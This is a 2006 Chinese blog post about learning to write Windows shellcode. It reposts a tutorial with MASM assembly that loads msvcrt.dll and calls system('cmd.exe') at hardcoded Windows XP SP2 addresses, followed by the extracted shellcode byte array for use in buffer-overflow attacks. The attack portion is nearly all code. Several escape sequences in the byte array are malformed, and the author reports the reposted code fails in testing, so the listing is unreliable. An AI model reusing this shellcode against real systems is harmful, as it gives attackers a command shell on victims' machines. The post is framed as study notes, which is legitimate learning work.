没什么好说的啦,看代码就是啦
#include <windows.h>
void main()
{
char *a = (char*)MessageBox;
__asm
{
push 0
push 0
push 0
push 0
mov ebx, 77d5050bh
call ebx
}
printf("%0x\n", a);
}
顺便转一篇有关SHELLCODE的文章,看起来很简单,但是测试就是不成功.先看看再说.
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
说起ShellCode的编写,那可是一门大学问.本人愚笨,费了好大劲才理解缓冲区溢出的概念.ShellCode可是一次成功的攻击的必不可少的东东,拜读过许多前辈的文章,加上亲身试验,于是有了这么一篇文章.
首先应该有个样本程序,好把ShellCode从中提取出来,要注意的是各个函数的调用都应该用直接Call 函数地址,也就是用C++里面的函数指针,取得各个函数的地址可以先用GetProcAddress()函数取得,并且各个系统里面函数地址也不相同.本来想偷个懒用VC写的,可是发现自己没装VC(晕倒~~~) 那还是用汇编写吧
这个程序首先是LoadLibraryA(msvcrt.dll),然后system(cmd.exe),听起来很简单吧,写起来也很简单
.386
.model flat,stdcall
option casemap:none
.data
.code
start:
;LoadLibraryA("msvcrt.dll")
push ebp
mov ebp,esp
push eax
push eax
push eax
mov eax,4356534Dh
mov dword ptr[ebp-0Ch], eax
mov eax,442E5452h
mov dword ptr[ebp-08h], eax
mov byte ptr[ebp-04h],4Ch
mov byte ptr[ebp-03h],4Ch
;我的系统是XP SP2 MSDN版 相关的函数地址也就是这个版本的
lea eax,[ebp-0Ch]
push eax
mov edx,7C801D77h
call edx
;system(cmd.exe)
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, 2E444D43h
mov dword ptr [ebp-08h], eax
mov byte ptr [ebp-04h], 45h
mov byte ptr [ebp-03h], 58h
mov byte ptr [ebp-02h], 45h
xor edx, edx
mov byte ptr [ebp-1h], dl
lea eax, dword ptr [ebp-08h]
push eax
mov eax, 77BF93C7h
call eax
;ExitProcess(0)
push 0
mov eax,7C81CDDAh
call eax
end start
哈哈,挺简单吧,用MASM编译链接.运行一下 一个可爱的CMD.exe打开了.最后一步提取就更简单了,用调试器查看机器码,抓紧写吧 哈哈 这不 出来了
unsigned char shellcode[]=
"\x55\x8B\xEC\x50\x50\x50\xB8\x4D\x53\x56\x43\x89\x45"
"\xF4\xB8\x52\x54\x2E\x44\x89\x45\xF8\xC6\x45\xFC"
"\x4C\xC6\x45\xFD\x4C\x8D\x45F4\x50\xBA"
"\x77\x1D\x80\x7C" //Address of LoadLibraryA in WinXPSP2
"\xFF\xD2\x55\x8B\xEC\x83\xEC\x0C\xB8\x43\x4D\x44\x2E"
"\x89\x45\xF8\xC6\x45\xFC\x45\xC6\x45\xFD\x58\xC645\xFE"
"\x45\x33\xD2\x88\x55\xFF\x8D\x45\xF8\x50\xB8"
"\xC7\x93\xBF\x77" //Address of system in WinXPSP2
"\xFF\xD0";
这个简单的ShellCode虽然很简单也不实用,但是学习就是要一步一个脚印,有浅至深,这算是在这里记一笔我这几天的一点学习内容.
发表于 @ 2006年10月21日 13:30:00|评论(loading...)|编辑